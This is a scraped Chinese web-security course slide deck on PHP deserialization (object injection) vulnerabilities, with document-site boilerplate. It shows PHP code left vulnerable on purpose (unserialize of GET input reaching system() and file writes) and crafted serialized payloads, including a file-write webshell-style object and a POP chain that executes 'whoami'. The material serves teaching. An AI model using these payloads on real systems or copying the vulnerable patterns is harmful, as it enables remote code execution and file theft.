版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
Web应用安全第八章Web服务器端安全--8.6反序列化漏洞原理与防御2反序列化漏洞原理序列化和反序列化在传递或保存数据时,为了不丢失数据类型信息,需要将原始数据信息(数据类型和数据值)转换为字符串形式(序列化),然后在适当的时候根据数据的字符串形式恢复原始数据信息(反序列化)PHP语言相关函数序列化:serialize;反序列化:unserializePHP语言标量序列化和反序列化NULL类型数据序列化为“N;”。boolean类型数据序列化成(true)“b:1;”或(false)“b:0;”。integer类型数据序列化为“i:<number>;”,其中<number>为一个整型数。double型数据序列化为“d:<number>;”,其中<number>为浮点型数。string型数据序列化为“s:<length>:<value>;”,其中<lenth>表示字符串的长度,<value>表示字符串的值。3反序列化漏洞原理PHP语言标量序列化和反序列化示例<?php$ob1=NULL;$ob2=true;$ob3=123456;$ob4=3.1415926;$ob5="Teststring";$str1=serialize($ob1);print("NULL类型数据序列化:{$str1}<br>");$str2=serialize($ob2);print("boolean类型数据序列化:{$str2}<br>");$str3=serialize($ob3);print("integer类型数据序列化:{$str3}<br>");$str4=serialize($ob4);print("double类型数据序列化:{$str4}<br>");$str5=serialize($ob5);print("string类型数据序列化:{$str5}<br>");$u5=unserialize($str5);print("反序列化string类型数据:{$u5}<br>");$u4=unserialize($str4);print("反序列化double类型数据:{$u4}<br>");$u3=unserialize($str3);print("反序列化integer类型数据:{$u3}<br>");$u2=unserialize($str2);if($u2==true){print("反序列化boolean类型数据:true<br>");}else{print("反序列化boolean类型数据:false<br>");}$u1=unserialize($str1);if($u1==NULL){print("反序列化NULL类型数据:NULL<br>");}?>4反序列化漏洞原理PHP语言数组数据的序列化和反序列化a:n:{<key1>;<value1>;<key2>;<value2>;……;<keyn>;<valuen>;}<?php$ob=array(2,"haha2008","carl"=>"1003","3"=>"bob");$str=serialize($ob);print("数组类型序列化:{$str}<br>");$uob=unserialize($str);print("反序列化后的数组为:");print_r($uob);?>5反序列化漏洞原理PHP语言对象数据的序列化和反序列化O:<length>:"<classname>":<n>:{<f1>;<v1>;<f2>;<v2>;……;<fn>;<vn>}<?phpclassTestA{
private$id;//工位编号
public$name;//姓名
protected$salary;//报酬
publicfunction__construct($id,$name="Zhangsan",$salary="8800"){
$this->id=$id;$this->name=$name;$this->salary=$salary;}}$ob=newTestA(1001);$str=serialize($ob);print("对象数据序列化:{$str}<br>");$uob=unserialize($str);print("对数数据反序列化:");print_r($uob);?>私有属性:\00类名\00保护属性:\00*\006反序列化漏洞原理PHP语言中序列化和反序列化的魔术方法方法__sleep方法__wakeupclassTestA{
private$id;//工位编号
public$name;//姓名
protected$salary;//报酬
publicfunction__construct($id,$name="Zhangsan",$salary=“6600"){
$this->id=$id;$this->name=$name;$this->salary=$salary;}
publicfunction__sleep(){
returnarray("id","name");}//将id和name序列化
publicfunction__wakeup(){
$this->salary="8800";}//将没有序列化的对象属性补充完整
}$ob=newTestA(1001);$str=serialize($ob);print("对象数据序列化:{$str}<br>");$uob=unserialize($str);print("对数数据反序列化:");print_r($uob);7反序列化漏洞原理漏洞原理示例反序列化所需要的数据能被攻击者控制,而引发的攻击行为,这样就形成了反序列化漏洞。CWE-502、CWE-915。也称为对象注入漏洞classStudent{//学生信息类public$id;public$name;public$grade;public$log;
publicfunction__construct($id,$name,$grade){
$this->id=$id;$this->name=$name;$this->grade=$grade;}
//反序列化时,在日志文件中记录信息
publicfunction__wakeup(){
$str=$this->id."/".$this->name."/".$this->grade."\r\n";
$this->log=newLog($str);unset($this->log); }}classLog{//日志信息类
public$logfile;public$str;
publicfunction__construct($str){
$this->logfile="log/log.txt";$this->str=$str;}
publicfunction__destruct(){//记录日志信息$fd=fopen($this->logfile,"a+");fwrite($fd,$this->str);fclose($fd);}}$data=$_GET['data'];$s=unserialize($data);print("其他业务逻辑,这里略过......<br>");8反序列化漏洞原理漏洞原理示例期望输入的序列化数据—Student类的序列化数据<?phpclassStudent{public$id;public$name;public$grade;}//学生信息类$s=newStudent();$s->id=1001;$s->name="alice";$s->grade=98;$data=serialize($s);print($data);?>O:7:"Student":3:{s:2:"id";i:1001;s:4:"name";s:5:"alice";s:5:"grade";i:98;}http:///serial/t5.php?data=O:7:"Student":3:{s:2:"id";i:1001;s:4:"name";s:5:"alice";s:5:"grade";i:98;}9反序列化漏洞原理漏洞原理示例非期望输入的序列化数据—Log类的序列化数据<?phpclassLog{//日志信息类public$logfile;public$str;}$s=newLog();$s->str="<?phpphpinfo();?>";$s->logfile="c:/websec2023/serial/log/aaa.php";$data=serialize($s);print(urlencode($data));?>O:3:"Log":2:{s:7:"logfile";s:32:"c:/websec2023/serial/log/aaa.php";s:3:"str";s:18:"";}URL编码O%3A3%3A%22Log%22%3A2%3A%7Bs%3A7%3A%22logfile%22%3Bs%3A32%3A%22c%3A%2Fwebsec2023%2Fserial%2Flog%2Faaa.php%22%3Bs%3A3%3A%22str%22%3Bs%3A18%3A%22%3C%3Fphp+phpinfo%28%29%3B%3F%3E%22%3B%7D10反序列化漏洞原理反序列化漏洞原理总结当程序逻辑期望输入对象A的序列化数据,但是输入了对象B的序列化数据,从而引发对象B的反序列化的一些方法调用,在这些调用中存在危险操作,从而引发漏洞。用户可以控制输入的序列化数据反序列化漏洞的核心关键点输入的序列化数据在反序列化过程中,会引发危险操作触发漏洞简单情况:反序列化过程中的危险操作只涉及单一对象复杂情况:反序列化过程中的危险操作涉及多个对象—POP链11反序列化漏洞原理POP链的构造PHP语言中的魔术方法—总共17个,这里介绍典型魔术方法__toString方法—当类的对象被当做字符串处理时调用classA{
public$des="这是一个测试类";
publicfunction__toString(){
return$this->des;
}}$a=newA;print($a);//这是一个测试类__construct方法—对象创建时调用__destruct方法—对象销毁时调用当对对象执行某些操作时会先自动调用的方法,称呼为魔术方法12反序列化漏洞原理POP链的构造PHP语言中的魔术方法__invoke方法--当以调用函数的方式调用一个对象时<?phpclassA{
publicfunction__invoke($value){
print("对象被调用,输入参数为{$value}");
}}$a=newA;$a("abc");//对象被调用,输入参数为abc?>13反序列化漏洞原理POP链的构造—初级示例反序列化漏洞程序示例1<?phpclassA{public$target;function__construct(){$this->target=newB;}function__destruct(){$this->target->action();}}classB{functionaction(){echo"actionB<br>";}}classC{public$test;//关键属性functionaction(){
echo"actionA<br>";system($this->test);}}if(empty($_GET['test'])){highlight_file(__FILE__);}else{unserialize($_GET['test']);}?>14property-orientedprogramming(面向属性编程)反序列化漏洞利用过程分析用户能力:控制了注入的反序列化数据,可以注入任意对象用户目标:设置C类中$test属性,执行system函数如果注入B类或C类的对象,后续没有任何操作被执行;如果注入A类的对象,对象创建时和销毁时,魔术方法被执行反序列化漏洞原理POP链的构造—初级示例选择A类对象为注入对象POP链条的起点:A类__destruct方法POP链条的终点:C类action方法完整的POP链条:A类__destruct
A类的target属性设置为C类对象
C类的test属性设置为执行命令(如whoami)
C类的action方法
system方法执行命令15反序列化漏洞原理POP链的构造—初级示例注入对象构造<?phpclassA{public$target;}classC{public$test="whoami";}$a=newA();$a->target=newC();$s=serialize($a);print($s);print("<br>");print(urlencode($s));?>O:1:"A":1:{s:6:"target";O:1:"C":1:{s:4:"test";s:6:"whoami";}}O%3A1%3A%22A%22%3A1%3A%7Bs%3A6%3A%22target%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22whoami%22%3B%7D%7D16反序列化漏洞原理POP链的构造反序列化漏洞程序示例2//flag在文件flag.php中classReadFile{public$filename;//保存要读取的文件名
publicfunctionread_file(){//读取文件
$text=base64_encode(file_get_contents($this->filename));return$text;}publicfunction__invoke(){$con=$this->read_file();print($con);return"ReadFile";}}classShowFile{public$source;public$namepublicfunction__construct(){$this->name="ShowFile"; }publicfunction__toString(){$name=$this->name;return$name();}publicfunction__wakeup(){
if($this->source=="flag.php"){exit("非法文件<br>");}}}if(isset($_GET['data'])){unserialize($_GET['data']);}else{highlight_file(__FILE__);}17反序列化漏洞原理POP链的构造反序列化漏洞利用过程分析用户能力:控制了注入的反序列化数据,可以注入任意对象用户目标:读取flag.php文件中的内容(直接访问被拒绝)如果注入ReadFile对象,后续没有任何操作被执行;如果注入ShowFi
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 机械工艺与装备课程设计
- 机械夹具斜支架课程设计
- 机械可靠性课程设计
- 机械原理专业课程设计
- 吉林省四平市第十七中学七年级微机 编制废气污染图表教案
- 机械制造学课程设计
- 机械制造原理课程设计
- 高中地理 第一章 自然灾害与人类活动 第二节 主要自然灾害的形成与分布地震、滑坡、泥石流等地质灾害教案 新人教版选修5
- 八年级信息技术下册 第20课 画龙点睛教案
- 2024学年九年级物理上册 第6章 电功率 6.4灯泡的电功率教案 (新版)教科版
- LNG加气站加气车辆发生火灾事故应急演练方案 2024
- 2024年人教版七年级上册英语期中综合检测试卷及答案 (一)
- 组织管理体系-
- 山西省太原市2022-2023学年八年级上学期期中历史试题(解析版)
- 锅炉和压力容器 第1部分:性能要求 征求意见稿
- 园艺用品采购合同范本
- 路基土石方数量计算表
- 湘教版八年级上册初二数学全册表格式教案
- 《工程泥浆技术标准》
- 2024年江苏苏州市(12345)便民服务中心招聘座席代表人员【重点基础提升】模拟试题(共500题)附带答案详解
- 2024年合租租房合同电子版(三篇)
评论
0/150
提交评论